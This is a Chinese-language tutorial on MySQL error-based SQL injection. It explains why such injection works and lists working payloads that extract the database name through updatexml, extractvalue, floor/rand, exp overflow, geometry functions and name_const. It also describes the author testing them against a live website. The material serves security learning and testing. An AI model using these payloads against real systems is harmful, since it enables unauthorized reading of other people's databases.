什么是报错注入?
顾名思义,报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据,本章节讲述的注入,数据库为MySQL
报错注入成因
那么报错注入是怎么形成的呢?
首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
其次,必不可少就是后台未对MySQL相应的报错函数进行过滤
updatexml()函数。语法为
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
如果找不到相应的xpath路径,updatexml函数就会报出错误
concat()函数。此函数用于连接字符串;由于updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码
concat_ws()函数。语法concat_ws(0x7e,database(),use()),会把查出来的库名和用户通过~连接起来完成报错
在挖互联网漏洞的时候,遇到的报错注入,打开漏洞所在url,如下图
对id传参输入单引号进行测试,发行MySQL报错,并且直接爆出了表名,如下图
这个报错,已经爆出了完整语句,我们尝试对源语句进行闭合,payload:) and (1,如下图
构建报错语句,payload:) and updatexml(1,concat(0x7e,database()),1) and (1,如下图
在日常测试中,后台可能会过滤掉一些常用函数,那么有没有其他函数来替代呢?肯定是有的!
Xpath报错
updatexml()函数,用法就不在过多介绍
extractvalue()函数,payload:select * from test where id=1 and (extractvalue(1,concat(0x7e,database()));
虚拟表主键位重复报错
floor()函数,payload:select * from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
fioor函数报错详细资料参考:https://www.cnblogs.com/sfriend/p/11365999.html
https://blog.csdn.net/weixin_45146120/article/details/100062786
整形溢出报错
exp()函数,整形溢出报错,注意:在MySQL5.5.5版本之后才会报错,语法:exp(~(select * from (select database())x))
几何函数报错
函数对参数要求是形如(1 2,2 2,3 3),几何数据,如果不满足则会报错,主要函数包括,可在5.6.22版本测试,我用5.5.5没测出来
语法:multipoint(select * from (select * from ( select * from (select database())c)b)a)
multipoint()函数,
geometrycollection()函数
multilinestring()函数
linestring()函数
multipolygon()函数
polygon()函数
列名重复报错
name_const(name,value)函数会用传入参数返回一系列结果集,传入参数必须是常量,经过测试只能查version(),略鸡肋
语法:select * from (select name_const(version(),1),name_const(version(),1))a;
参考
参考文章:http://www.cnblogs.com/wocalieshenmegui/p/5917967.html
参考文章:https://blog.csdn.net/Auuuuuuuu/article/details/91415165
参考书籍:《代码审计:企业级Web代码安全架构》